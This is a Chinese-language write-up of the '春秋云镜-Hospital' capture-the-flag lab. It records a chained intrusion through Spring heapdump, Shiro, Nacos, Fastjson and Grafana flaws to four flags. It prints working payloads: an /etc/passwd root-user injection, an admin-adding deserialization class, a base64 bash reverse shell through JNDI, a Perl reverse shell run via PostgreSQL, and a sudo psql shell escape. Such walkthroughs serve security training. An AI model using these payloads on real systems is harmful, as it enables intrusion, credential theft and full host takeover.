春秋云镜-Hospital

外网

信息收集

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❯ ./fscan -h 39.99.227.240                                         
┌──────────────────────────────────────────────┐
│    ___                              _        │
│   / _ \     ___  ___ _ __ __ _  ___| | __    │
│  / /_\/____/ __|/ __| '__/ _` |/ __| |/ /    │
│ / /_\\_____\__ \ (__| | | (_| | (__|   <     │
│ \____/     |___/\___|_|  \__,_|\___|_|\_\    │
└──────────────────────────────────────────────┘
      Fscan Version: 2.0.0

[2025-04-17 23:18:43] [INFO] 暴力破解线程数: 1
[2025-04-17 23:18:43] [INFO] 开始信息扫描
[2025-04-17 23:18:43] [INFO] 最终有效主机数量: 1
[2025-04-17 23:18:43] [INFO] 开始主机扫描
[2025-04-17 23:18:43] [INFO] 有效端口数量: 233
[2025-04-17 23:18:43] [SUCCESS] 端口开放 39.99.227.240:22
[2025-04-17 23:18:43] [SUCCESS] 服务识别 39.99.227.240:22 => [ssh] 版本:8.2p1 Ubuntu 4ubuntu0.9 产品:OpenSSH 系统:Linux 信息:Ubuntu Linux; protocol 2.0 Banner:[SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.9.]
[2025-04-17 23:18:43] [SUCCESS] 端口开放 39.99.227.240:8080
[2025-04-17 23:18:49] [SUCCESS] 服务识别 39.99.227.240:8080 => [http]
[2025-04-17 23:18:49] [INFO] 存活端口数量: 2
[2025-04-17 23:18:49] [INFO] 开始漏洞扫描
[2025-04-17 23:18:49] [INFO] 加载的插件: ssh, webpoc, webtitle
[2025-04-17 23:18:49] [SUCCESS] 网站标题 http://39.99.227.240:8080 状态码:302 长度:0      标题:无标题 重定向地址: http://39.99.227.240:8080/login;jsessionid=A315BAAC49DBECD9223E0BD9C6FB94DB
[2025-04-17 23:18:50] [SUCCESS] 网站标题 http://39.99.227.240:8080/login;jsessionid=A315BAAC49DBECD9223E0BD9C6FB94DB 状态码:200 长度:2005   标题:医疗管理后台
[2025-04-17 23:18:52] [SUCCESS] 目标: http://39.99.227.240:8080
  漏洞类型: poc-yaml-spring-actuator-heapdump-file
  漏洞名称:
  详细信息:
	author:AgeloVito
	links:https://www.cnblogs.com/wyb628/p/8567610.html
[2025-04-17 23:18:57] [SUCCESS] 扫描已完成: 3/3

扫到8080端口的网站和dump泄漏，dirsearch扫目录发现/actuator/heapdump

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python3 dirsearch.py -u http://39.99.227.240:8080

Shiro反序列化

利用JDump工具分析拿到key，猜测是Shiro

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java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump > 1.txt
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key = GAYysgMQhG7/CzIJlVpR2g==

抓包果然发现特征，经典组合拳

image-20250417233909381

直接用工具一把梭，注入内存马

image-20250417234142257

这里尝试PHP马连不上，Jsp马可以

image-20250417234238093

蚁剑连接

image-20250417235102881

SUID提权

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/usr/bin/vim.basic
/usr/bin/su
/usr/bin/newgrp
/usr/bin/staprun
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/chfn
/usr/bin/stapbpf
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/fusermount
/usr/bin/mount
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device

参考gtfobins，可以利用vim.basic写公钥（或写passwd，sudoer）

故先升级交互式shell

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python3 -c "import pty;pty.spawn('/bin/bash')"
script /dev/null -c bash
ctrl+z
stty raw -echo; fg
reset
xterm-256color
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vim.basic /etc/passwd
:wq!

写/etc/passwd

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openssl passwd -1 -salt 123 123456
hacker:$1$123$7mft0jKnzzvAdU4t0unTG1:0:0:/root:/bin/bash

flag1

ssh连接，拿下web1主机

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ssh hacker@39.99.227.240

image-20250418000306099

一层内网

信息收集

老规矩先上fscan收集信息

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root@web01:/home/app# ./fscan_linux -h 172.30.12.5/24
┌──────────────────────────────────────────────┐
│    ___                              _        │
│   / _ \     ___  ___ _ __ __ _  ___| | __    │
│  / /_\/____/ __|/ __| '__/ _` |/ __| |/ /    │
│ / /_\\_____\__ \ (__| | | (_| | (__|   <     │
│ \____/     |___/\___|_|  \__,_|\___|_|\_\    │
└──────────────────────────────────────────────┘
      Fscan Version: 2.0.0

[2025-04-18 00:07:09] [INFO] 暴力破解线程数: 1
[2025-04-18 00:07:09] [INFO] 开始信息扫描
[2025-04-18 00:07:10] [INFO] CIDR范围: 172.30.12.0-172.30.12.255
[2025-04-18 00:07:10] [INFO] 生成IP范围: 172.30.12.0.%!d(string=172.30.12.255) - %!s(MISSING).%!d(MISSING)
[2025-04-18 00:07:10] [INFO] 解析CIDR 172.30.12.5/24 -> IP范围 172.30.12.0-172.30.12.255
[2025-04-18 00:07:10] [INFO] 最终有效主机数量: 256
[2025-04-18 00:07:10] [INFO] 开始主机扫描
[2025-04-18 00:07:10] [SUCCESS] 目标 172.30.12.5     存活 (ICMP)
[2025-04-18 00:07:10] [SUCCESS] 目标 172.30.12.6     存活 (ICMP)
[2025-04-18 00:07:10] [SUCCESS] 目标 172.30.12.236   存活 (ICMP)
[2025-04-18 00:07:13] [INFO] 存活主机数量: 3
[2025-04-18 00:07:13] [INFO] 有效端口数量: 233
[2025-04-18 00:07:13] [SUCCESS] 端口开放 172.30.12.6:445
[2025-04-18 00:07:13] [SUCCESS] 端口开放 172.30.12.6:139
[2025-04-18 00:07:13] [SUCCESS] 端口开放 172.30.12.6:135
[2025-04-18 00:07:13] [SUCCESS] 端口开放 172.30.12.236:22
[2025-04-18 00:07:13] [SUCCESS] 端口开放 172.30.12.5:22
[2025-04-18 00:07:13] [SUCCESS] 端口开放 172.30.12.236:8009
[2025-04-18 00:07:13] [SUCCESS] 端口开放 172.30.12.5:8080
[2025-04-18 00:07:13] [SUCCESS] 端口开放 172.30.12.236:8080
[2025-04-18 00:07:13] [SUCCESS] 端口开放 172.30.12.6:8848
[2025-04-18 00:07:13] [SUCCESS] 服务识别 172.30.12.236:22 => [ssh] 版本:8.2p1 Ubuntu 4ubuntu0.9 产品:OpenSSH 系统:Linux 信息:Ubuntu Linux; protocol 2.0 Banner:[SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.9.]
[2025-04-18 00:07:13] [SUCCESS] 服务识别 172.30.12.5:22 => [ssh] 版本:8.2p1 Ubuntu 4ubuntu0.9 产品:OpenSSH 系统:Linux 信息:Ubuntu Linux; protocol 2.0 Banner:[SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.9.]
[2025-04-18 00:07:18] [SUCCESS] 服务识别 172.30.12.6:445 => 
[2025-04-18 00:07:18] [SUCCESS] 服务识别 172.30.12.6:139 =>  Banner:[.]
[2025-04-18 00:07:18] [SUCCESS] 服务识别 172.30.12.236:8009 => 
[2025-04-18 00:07:18] [SUCCESS] 服务识别 172.30.12.5:8080 => [http]
[2025-04-18 00:07:19] [SUCCESS] 服务识别 172.30.12.236:8080 => [http]
[2025-04-18 00:07:24] [SUCCESS] 服务识别 172.30.12.6:8848 => [http]
[2025-04-18 00:08:18] [SUCCESS] 服务识别 172.30.12.6:135 => 
[2025-04-18 00:08:18] [INFO] 存活端口数量: 9
[2025-04-18 00:08:18] [INFO] 开始漏洞扫描
[2025-04-18 00:08:18] [INFO] 加载的插件: findnet, ms17010, netbios, smb, smb2, smbghost, ssh, webpoc, webtitle
[2025-04-18 00:08:18] [SUCCESS] NetInfo 扫描结果
目标主机: 172.30.12.6
主机名: Server02
发现的网络接口:
   IPv4地址:
      └─ 172.30.12.6
[2025-04-18 00:08:18] [SUCCESS] NetBios 172.30.12.6     WORKGROUP\SERVER02            
[2025-04-18 00:08:18] [SUCCESS] 网站标题 http://172.30.12.5:8080   状态码:302 长度:0      标题:无标题 重定向地址: http://172.30.12.5:8080/login;jsessionid=1ACFB6A4E51D284ABDFA37E0E80326B9
[2025-04-18 00:08:18] [SUCCESS] 网站标题 http://172.30.12.236:8080 状态码:200 长度:3964   标题:医院后台管理平台
[2025-04-18 00:08:18] [SUCCESS] 网站标题 http://172.30.12.5:8080/login;jsessionid=1ACFB6A4E51D284ABDFA37E0E80326B9 状态码:200 长度:2005   标题:医疗管理后台
[2025-04-18 00:08:19] [SUCCESS] 网站标题 http://172.30.12.6:8848   状态码:404 长度:431    标题:HTTP Status 404 – Not Found
[2025-04-18 00:08:20] [SUCCESS] 目标: http://172.30.12.5:8080
  漏洞类型: poc-yaml-spring-actuator-heapdump-file
  漏洞名称: 
  详细信息:
        author:AgeloVito
        links:https://www.cnblogs.com/wyb628/p/8567610.html
[2025-04-18 00:08:20] [SUCCESS] 目标: http://172.30.12.6:8848
  漏洞类型: poc-yaml-alibaba-nacos
  漏洞名称: 
  详细信息:
        author:AgeloVito
        links:https://blog.csdn.net/caiqiiqi/article/details/112005424
[2025-04-18 00:08:21] [SUCCESS] 目标: http://172.30.12.6:8848
  漏洞类型: poc-yaml-alibaba-nacos-v1-auth-bypass
  漏洞名称: 
  详细信息:
        author:kmahyyg(https://github.com/kmahyyg)
        links:https://github.com/alibaba/nacos/issues/4593

扫到两台资产

172.30.12.6:8848端口开启Nacos服务，yaml反序列化漏洞

172.30.12.236:8080端口有web服务，按题目提示猜测为fastjson

一级代理

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./agent_linux_x64 -lport 8888
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❯ ./admin_macos_x64 -rhost 39.99.227.240 -rport 8888               ─
Venom Admin Node Start...

  ____   ____  { v1.1  author: Dlive }
  \   \ /   /____   ____   ____   _____
   \   Y   // __ \ /    \ /    \ /     \
    \     /\  ___/|   |  (  <_> )  Y Y  \
     \___/  \___  >___|  /\____/|__|_|  /
                \/     \/             \/

(admin node) >>> show
A
+ -- 1
(admin node) >>> goto 1
node 1
(node 1) >>> socks 9999
a socks5 proxy of the target node has started up on the local port 9999.

image-20250418001630623

172.30.12.6 - flag2

弱密码nacos:nacos进入后台读取Nacos配置

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server:
  port: 8080
  servlet:
    context-path: /hello

spring:
  application:
    name: db-config
  cloud:
    nacos:
      discovery:
        server-addr: 127.0.0.1:8848
      config:
        server-addr: 127.0.0.1:8848
        file-extension: yaml
        namespace: dev
        group: DEFAULT_GROUP
        data-id: db-config.yaml
  datasource:
    mysql:
      url: jdbc:mysql://localhost:3306/test?useSSL=false&serverTimezone=UTC&allowPublicKeyRetrieval=true
      username: root
      password: P@ssWord!!!
  redis:
    host: localhost
    port: 6379

management:
  endpoints:
    web:
      exposure:
        include: '*'

利用Nacos利用工具检测发现yaml反序列化漏洞

image-20250418002210418

因为是Win主机修改payload为添加新管理员用户

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public AwesomeScriptEngineFactory() {
        try {
                Runtime.getRuntime().exec("net user baoyf passwd1234 /add");
                Runtime.getRuntime().exec("net localgroup administrators baoyf /add");
        } catch (IOException e) {
                e.printStackTrace();
        }
}

编译，打包

image-20250418002705724

要使用java1.8编译，卡了好久

主机不出网，将恶意jar包传到web1主机，开启web服务，让靶机访问

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python3 -m http.server 1234

image-20250418003331516

image-20250418003419034

收到请求，证实漏洞存在，RDP上去，在管理员目录下找到flag2

image-20250418005240801

172.30.12.236 - flag3

再看下另一台，用Yakit插件扫到RCE漏洞

image-20250418010142874

接下来就是复现，在Web1开启JNDI，不出网所以将shell反弹到Web1

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java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMzAuMTIuNS81MDAwIDA+JjE=}|{base64, -d} | {bash,-i]" -A "172.30.12.5"

image-20250418011402494

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{
	"name": {
		"@type": "java.lang.Class",
		"val": "com.sun.rowset.JdbcRowSetImpl"
	},
	"x": {
		"@type": "com.sun.rowset.JdbcRowSetImpl",
		"dataSourceName": "rmi://172.30.12.5:1099/qt6t66",
		"autoCommit": true
	}
}
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nc -lvnp 5000

拿下Web3主机

image-20250418011315587

二层内网

信息收集

修改Web3 root密码便于下一步利用

没有机器了，但还差一个flag，ip a发现双网卡，传fscan进一步扫描内网

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passwd
ssh root@172.30.12.236
wget http://172.30.12.5:1234/fscan_linux
wget http://172.30.12.5:1234/agent_linux_x64
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root@web03:~# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:16:3e:28:b3:f3 brd ff:ff:ff:ff:ff:ff
    inet 172.30.12.236/16 brd 172.30.255.255 scope global dynamic eth0
       valid_lft 315352567sec preferred_lft 315352567sec
    inet6 fe80::216:3eff:fe28:b3f3/64 scope link 
       valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:16:3e:28:b3:cb brd ff:ff:ff:ff:ff:ff
    inet 172.30.54.179/24 brd 172.30.54.255 scope global eth1
       valid_lft forever preferred_lft forever
    inet6 fe80::216:3eff:fe28:b3cb/64 scope link 
       valid_lft forever preferred_lft forever

扫172.30.54.179/24网段

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root@web03:~# ./fscan_linux -h 172.30.54.179/24
┌──────────────────────────────────────────────┐
│    ___                              _        │
│   / _ \     ___  ___ _ __ __ _  ___| | __    │
│  / /_\/____/ __|/ __| '__/ _` |/ __| |/ /    │
│ / /_\\_____\__ \ (__| | | (_| | (__|   <     │
│ \____/     |___/\___|_|  \__,_|\___|_|\_\    │
└──────────────────────────────────────────────┘
      Fscan Version: 2.0.0

[2025-04-18 01:22:38] [INFO] 暴力破解线程数: 1
[2025-04-18 01:22:38] [INFO] 开始信息扫描
[2025-04-18 01:22:38] [INFO] CIDR范围: 172.30.54.0-172.30.54.255
[2025-04-18 01:22:39] [INFO] 生成IP范围: 172.30.54.0.%!d(string=172.30.54.255) - %!s(MISSING).%!d(MISSING)
[2025-04-18 01:22:39] [INFO] 解析CIDR 172.30.54.179/24 -> IP范围 172.30.54.0-172.30.54.255
[2025-04-18 01:22:39] [INFO] 最终有效主机数量: 256
[2025-04-18 01:22:39] [INFO] 开始主机扫描
[2025-04-18 01:22:39] [SUCCESS] 目标 172.30.54.179   存活 (ICMP)
[2025-04-18 01:22:39] [SUCCESS] 目标 172.30.54.12    存活 (ICMP)
[2025-04-18 01:22:42] [INFO] 存活主机数量: 2
[2025-04-18 01:22:42] [INFO] 有效端口数量: 233
[2025-04-18 01:22:42] [SUCCESS] 端口开放 172.30.54.179:22
[2025-04-18 01:22:42] [SUCCESS] 端口开放 172.30.54.12:22
[2025-04-18 01:22:42] [SUCCESS] 端口开放 172.30.54.12:5432
[2025-04-18 01:22:42] [SUCCESS] 端口开放 172.30.54.12:3000
[2025-04-18 01:22:42] [SUCCESS] 端口开放 172.30.54.179:8009
[2025-04-18 01:22:42] [SUCCESS] 端口开放 172.30.54.179:8080
[2025-04-18 01:22:42] [SUCCESS] 服务识别 172.30.54.179:22 => [ssh] 版本:8.2p1 Ubuntu 4ubuntu0.9 产品:OpenSSH 系统:Linux 信息:Ubuntu Linux; protocol 2.0 Banner:[SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.9.]
[2025-04-18 01:22:42] [SUCCESS] 服务识别 172.30.54.12:22 => [ssh] 版本:8.2p1 Ubuntu 4ubuntu0.9 产品:OpenSSH 系统:Linux 信息:Ubuntu Linux; protocol 2.0 Banner:[SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.9.]
[2025-04-18 01:22:47] [SUCCESS] 服务识别 172.30.54.12:5432 => 
[2025-04-18 01:22:47] [SUCCESS] 服务识别 172.30.54.12:3000 => [http] Banner:[HTTP/1.1 400 Bad Request.Content-Type: text/plain; charset=utf-8.Connection: close.400 Bad Request]
[2025-04-18 01:22:47] [SUCCESS] 服务识别 172.30.54.179:8009 => 
[2025-04-18 01:22:47] [SUCCESS] 服务识别 172.30.54.179:8080 => [http]
[2025-04-18 01:22:47] [INFO] 存活端口数量: 6
[2025-04-18 01:22:47] [INFO] 开始漏洞扫描
[2025-04-18 01:22:48] [INFO] 加载的插件: postgres, ssh, webpoc, webtitle
[2025-04-18 01:22:48] [SUCCESS] 网站标题 http://172.30.54.179:8080 状态码:200 长度:3964   标题:医院后台管理平台
[2025-04-18 01:22:48] [SUCCESS] 网站标题 http://172.30.54.12:3000  状态码:302 长度:29     标题:无标题 重定向地址: http://172.30.54.12:3000/login
[2025-04-18 01:22:48] [SUCCESS] 网站标题 http://172.30.54.12:3000/login 状态码:200 长度:27909  标题:Grafana

发现资产172.30.54.12
开启服务Grafana(3000端口)+PostgreSQL(5431端口)

二级代理

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(node 1) >>> show
A
+ -- 1
(node 1) >>> listen 9998
listen 9998
the port 9998 is successfully listening on the remote node!
(node 1) >>> show
A
+ -- 1
     + -- 2
(node 1) >>> goto 2
node 2
(node 2) >>> socks 9998
a socks5 proxy of the target node has started up on the local port 9998.
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root@web03:~# ./agent_linux_x64 -rhost 172.30.12.5 -rport 9998
2025/04/18 01:27:05 [+]Successfully connects to a new node

image-20250418013000265

172.30.54.12 - flag4

Grafana存在CVE-2021-43798，利用GrafanaExp，拿到数据库密码

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./grafanaExp_linux_amd64 exp -u http://172.30.54.12:3000
type:[postgres]	name:[PostgreSQL]		url:[localhost:5432]	user:[postgres]	password[Postgres@123]

搭建了代理，在本地连接SQL
可以修改root用户密码，psql也可以创建函数执行命令，缺点是没回显

不出网向Web3反弹shell，bash无法使用，可以用perl

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psql -h 172.30.54.12 -U postgres -W
# 反弹shell
select system('perl -e \'use Socket;$i="172.30.54.179";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'');
# 修改数据库admin密码
ALTER USER root WITH PASSWORD '123456';

sudo提权

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postgres@web04:/usr/local/pgsql/data$ sudo -l
Matching Defaults entries for postgres on web04:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User postgres may run the following commands on web04:
    (ALL) NOPASSWD: /usr/local/postgresql/bin/psql
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sudo /usr/local/postgresql/bin/psql
\?
!/bin/bash

image-20250418015134627

参考

Fastjson 1.2.24 反序列化导致任意命令执行漏洞

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